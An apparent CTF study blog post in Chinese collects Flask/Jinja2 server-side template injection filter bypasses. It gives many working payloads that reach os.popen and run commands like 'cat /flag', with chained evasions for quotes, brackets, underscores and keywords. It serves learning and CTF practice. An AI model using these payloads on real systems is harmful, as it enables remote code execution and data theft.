声明:本篇记的可能会比较混乱
官方对于模版的介绍
{% ... %} 可以用来声明变量,当然也可以用于循环语句和条件语句
{{ ... }} 用于将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释
# ... # 和{%%}相同的效果
同时除了标准的python语法使用点(.)
外,还可以使用中括号([])
来访问变量的属性
{{"".__class__}}
{{""['__classs__']}}
如果过滤了点,就可以用[]
;来绕过
如果想要调用字典中的键值的话,其实本质就是调用了__getitem__
魔术方法
__class__用来查看变量所属的类
__bases__用来查看类的基类,就是父类(或者__base__)
__mro__:显示类和基类
__subclasses__():查看当前类的子类
__getitem__:对数组字典的内容提取
__init__ : 初始化类,返回的类型是function
__globals__:查看全局变量,有哪些可用的函数方法等,然后再搜索popen,eval等
__builtins__:提供对Python的所有"内置"标识符的直接访问,即先加载内嵌函数再调用
__import__ : 动态加载类和函数,用于导入模块,经常用于导入os模块(例如__import__('os').popen('ls').read())
url_for :flask的方法,可以用于得到__builtins__
lipsum :flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
config:当前application的所有配置。
popen():执行一个 shell 以运行命令来开启一个进程
request.args.key:获取get传入的key的值
__init__.__globals__可以获得类中所有的变量以及方法
这边附上一张表
{{url_for.__globals__['__builtins__']}}
{{url_for.__globals__.__getitem__('__builtins__')}}
{{url_for.__globals__.pop('__builtins__')}}
{{url_for.__globals__.get('__builtins__')}}
{{url_for.__globals__.setdefault('__builtins__')}}
本身字典中就自带了一些方法
pop(key[,default])
参数
key: 要删除的键值
default: 如果没有 key,返回 default 值
删除字典给定键 key 所对应的值,返回值为被删除的值。key值必须给出。 否则,返回default值。
在调用对象的方法的原理,其实就是调用了魔术方法__getattribute__
"".__class__
"".__getattribute__("__class__")
绕过方法
拼接法
"clas"+"s"->"cls""ss"
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])
也可以利用切片,反转
""["__cla""ss__"]
"".__getattribute__("__cla""ss__")
""["__ssalc__"][::-1]
"".__getattribute__("__ssalc__"[::-1])(这个我测试是可以的)但是另一个测试不出来
如果过滤了{{}}
可以尝试使用{%%}绕过,若要回显在里面加一个print即可
{%print("".__class__)%}
有时也会出现索引值被过滤的情况
比如我们要找的os._wrap_close
索引值在132的话,但是132被过滤了,可以试试找找其他的[135-1-1]
这样也可以达到绕过的目的
利用getitem()绕过[]
过滤
其是python的一个魔术方法,对字典使用时传入字符串,返回字典对应的值,当对列表使用时传入整数返回列表对应索引的值
__getitem__(117)代替[117]
利用request方法绕过
request在flask中可以访问对于HTTP请求的所有信息,此处并非是python中的,而是指flask内部的函数
request.args.key #获取get传入的key的值
request.form.key #获取post传入参数(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
reguest.values.key #获取所有参数,如果get和post有同一个参数,post的参数会覆盖get
request.cookies.key #获取cookies传入参数
request.headers.key #获取请求头请求参数
request.data #获取post传入参数(Content-Type:a/b)
request.json #获取post传入json参数 (Content-Type: application/json)
绕过方法的利用
lipsum.__globals__ 中包含os模块
config.__init__.__globals__ 中也包含os模块
过滤了单引号
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
这样传肯定是不行的
所以就利用到request方法绕过
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a]}}&a=popen
更难一些也过滤掉了args,介绍两种绕过方式
可以利用内置函数chr()进行拼接命令chr(ascii值),返回就可以做到拼接哩
另一种方法就是利用其他的参数,比如request.values.参数名
如:
?name={%set%20char=config.__class__.__init__.__globals__.__builtins__.chr%}{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)).read()}}
?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__.popen(request.values.a).read()}}&a=cat /flag
如果再加过滤一个中括号呢?那就可以利用上面说过的__getitem__
方法进行绕过
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.values.a)(request.values.b).read()}}&a=popen&b=ls /
若是在加一个,将下划线也绕过_
我们继续进行绕过
下划线绕过意味着我们没办法直接使用带有下划线的方法了,但是我们可以使用attr(request.values.参数)的方法获取
这边就又有一个新的知识点了,没错就是过滤器
过滤器介绍
先记录几个比较实用的
attr
原文
Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and
items are not looked up.
即attr用于获取变量
""|attr("__class__")
相当于
"".__class__
所以这样就可以用来绕过下划线了
其实在点和中括号都被过滤的情况下用也很不错的
format
Apply the given values to a printf-style format string, like string % values.
作用就是:用于格式化字符串。它允许你通过占位符将变量的值插入到字符串中,从而创建格式化的输出
用法:
{ "%s, %s!"|format(greeting, name) }}
"%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
""["%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)]
first last random
这个没太懂有什么用处
"".__class__.__mro__|last()
相当于
"".__class__.__mro__[-1]
string
功能类似于python内置函数 str
有了这个的话我们可以把显示到浏览器中的值全部转换为字符串再通过下标引用,就可以构造出一些字符了,再通过拼接就能构成特定的字符串
().__class__ 出来的是<class 'tuple'>
(().__class__|string)[0] 出来的是<
感觉用法很麻烦,不太知道这种构造的字符怎么使用
join
相当于多了一种字符串拼接的方法
{{ users|join(', ', attribute='username') }}
""[['__clas','s__']|join] 或者 ""[('__clas','s__')|join]
相当于
""["__class__"]
lower
转换成小写
""["__CLASS__"|lower]
replace reverse
会替换和反转还原我们要用的字符串
"__claee__"|replace("ee","ss") 构造出字符串 "__class__"
"__ssalc__"|reverse 构造出 "__class__"
select unique
通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。
如果没有指定测试,则每个对象都将被计算为布尔值
一看没有什么用,但是结合其他过滤器一起使用,又多了一个拼接字符串的方法
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]
得到字符串"__class__"
就是有点繁琐了
list
转换成列表,看着还是得配合其他过滤器使用
(()|select|string|list).pop(0)
感觉过滤器好多好多,官方文档还记录了好多好多
附上一个小总结
length(): 获取一个序列或者字典的长度并将其返回
int(): 将值转换为int类型;
float(): 将值转换为float类型
lower(): 将字符串转换为小写
upper(): 将字符串转换为大写
reverse(): 反转字符串;
replace(value,old,new): 将value中的old替换为new
list(): 将变量转换为列表类型,
string(): 将变量转换成字符串类型
join(): 将一个序列中的参数值拼接成字符串,通常配合dict()混合绕过
attr(): 获取对象的属性
回归原来的过滤利用
中括号、args、下划线、单双引号、双大括号都被过滤,过滤器使用
?name={{()|attr(request.values.a)}}&a=__class__
?name={{()|attr(request.values.a)|attr(request.values.b)}}&a=__class__&b=__base__
?name={%print (lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()%}&a=__globals__&b=os&c=cat /flag
继续加buff,os也给过滤掉
可以用lipsum
作为辅助,其是一个flask的函数方法,大致用法
lipsum(n=5, html=True, min=20, max=100):在模板中生成 lorem ipsum 乱数假文。默认会生成 5 段 HTML ,每段在 20 到 100 词之间。用来测试
但是我们可以通过这个方法来获得shell命令的子类以及方法
介绍另一种方法去获取os
模块
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)}}&a=__globals__&b=__getitem__&c=os
?name={{(lipsum|attr(request.values.a)).get(request.values.b)}}&a=__globals__&b=os(这个是利用get方法,也可以使用getitem方法)
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)}}&a=__globals__&b=__getitem__&c=os&d=popen
加大难度
中括号、args、下划线、单双引号、os、request、花括号都被过滤
可以使用
{%%}来判断是否有回显
这时候就用到那个字符串拼接的过滤器了,去list中去找我们要用的字符串比如下划线_
?name={%print lipsum|string|list%}
就一直结合原来我们要用方法,有字典了,考虑如何获取索引值,那就利用pop()方法
即通过传入列表元素的索引值将列表中的该元素删除并返回该元素的值(pop方法的解释)
?name={%set pop=dict(po=a,p=b)|join%}
{%set sun=(lipsum|string|list)|attr(pop)(24)%}
{%print sun%}(具体索引可能会不同的)
后面拼接一下
?name={%set pop=dict(po=a,p=b)|join%}
{%set sun=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=dict(globals=a)|join%}
{%print (sun,sun,globals,sun,sun)|join%}
就能获取到`__globals__`
然后方法相同去寻找到os,还得找get,还有popen这些字符串,`__builtins__`也要进行拼接获取
最后还有chr函数也得获取
?name={%set pop=dict(po=a,p=b)|join%}
{%set sun=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(sun,sun,dict(globals=a)|join,sun,sun)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(sun,sun,dict(builtins=a)|join,sun,sun)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%print char%}
最后的最后就是拼接shell命令
?name={%set pop=dict(po=a,p=b)|join%}
{%set sun=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(sun,sun,dict(globals=a)|join,sun,sun)|join%}
{%set get=dict(get=a)|join%}
{%set builtins=(sun,sun,dict(builtins=a)|join,sun,sun)|join%}
{%set ch=dict(chr=a)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%print command%}(这个是找的拼接后的cat /flag)
最后返回还需要read()返回,所以我们还要找到read
?name={%set read=dict(read=a)|join%}
{%print read%}
最后的最后的最后,拼接所有要用的
?name={%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}
解释一下
?name=
获取pop字段以便使用pop函数
{%set pop=dict(po=a,p=b)|join%}
获取下划线,以便拼接__globals__和__builtins__
{%set sun=(lipsum|string|list)|attr(pop)(24)%}
获取__globals__
{%set globals=(sun,sun,dict(globals=a)|join,sun,sun)|join%}
获取get字段,以便使用get函数
{%set get=dict(get=a)|join%}
获取os字段,以便获取os模块
{%set shell=dict(o=a,s=b)|join%}
获取popen字段,以便使用popen函数
{%set popen=dict(popen=a)|join%}
获取__builtins__以便获取chr函数
{%set builtins=(sun,sun,dict(builtins=a)|join,sun,sun)|join%}
获取chr字段,以便获取chr函数
{%set ch=dict(ch=a,r=b)|join%}
获取chr函数,以便拼接shell命令
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
拼接shell命令,以便获取flag
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
获取read字段,以便使用read函数读取命令执行的结果
{%set read=dict(read=a)|join%}
将命令执行结果存放在result中
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
输出命令执行结果
{%print result%}
讲一下原理
lipsum|attr()
lipsum是flask的一个方法,lipsum|attr(“__globals__”) 就相当于 lipsum.__globals__
()|join
()|join方法,可以将小括号里的内容进行拼接起来。例如:(1,2,3)|join 就可以打印出123
dict()|join
dict就是一个字段,而dict()|join,就是将该字典的key值进行拼接,例如:dict(a=1,b=2)|join 的输出结果就是ab
lipsum|string|list
上边已经说过,lipsum是flask的一个方法,lipsum|string就是一串介绍lipsum的字符串,而lipsum|string|list就是将lipsum|string生成的字符串以列表的形式进行展示,这样该字符串的每个字符都是该列表的元素,我们就可以使用索引值来获取该列表我们需要的字符了,?name={%print lipsum|string|list%}
若是讲数字也给绕过了,就需要多用一个东西,以便我们获得数字
dict()|join|count 或者 dict()|join|length
dict()|join是将字典中的key值进行拼接,那dict()|join|count就是得到key值后得到字符串的长度
?name={%set a=dict(aaaa=b)|join|length%}{%print a%}
最后如果连print也给过滤了
也就是属于无回显了嘛,那就是得修改一下构造的命令,也就是数据外带吧,可以用curl和连接vps这样的方法,只是构造拼接太麻烦了
还有一些其他的绕过,比如:
大小写绕过
""["__CLASS__".lower()]
前提是过滤的只是小写
在jinja2中可以进行拼接
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
set 主要用于在模板中定义变量
编码绕过
"__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
对于python2的话,还可以利用base64进行绕过
"__class__"==("X19jbGFzc19f").decode("base64")
利用ascii码也可以,但是我自己没打通
"{0:c}".format(97)='a'
"{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
十六进制编码绕过也可以
{{()[“\x5f\x5fclass\x5f\x5f”][“\x5f\x5finit\x5f\x5f”][“\x5f\x5fglobals\x5f\x5f”][“os”].popen(“ls”).read()}}
利用unicode绕过也可以
总结
关于ssti绕过的就先总结这么多吧,还是得多加练习,而且大部分都是基于flask和jinja的,但是payload都大差不差吧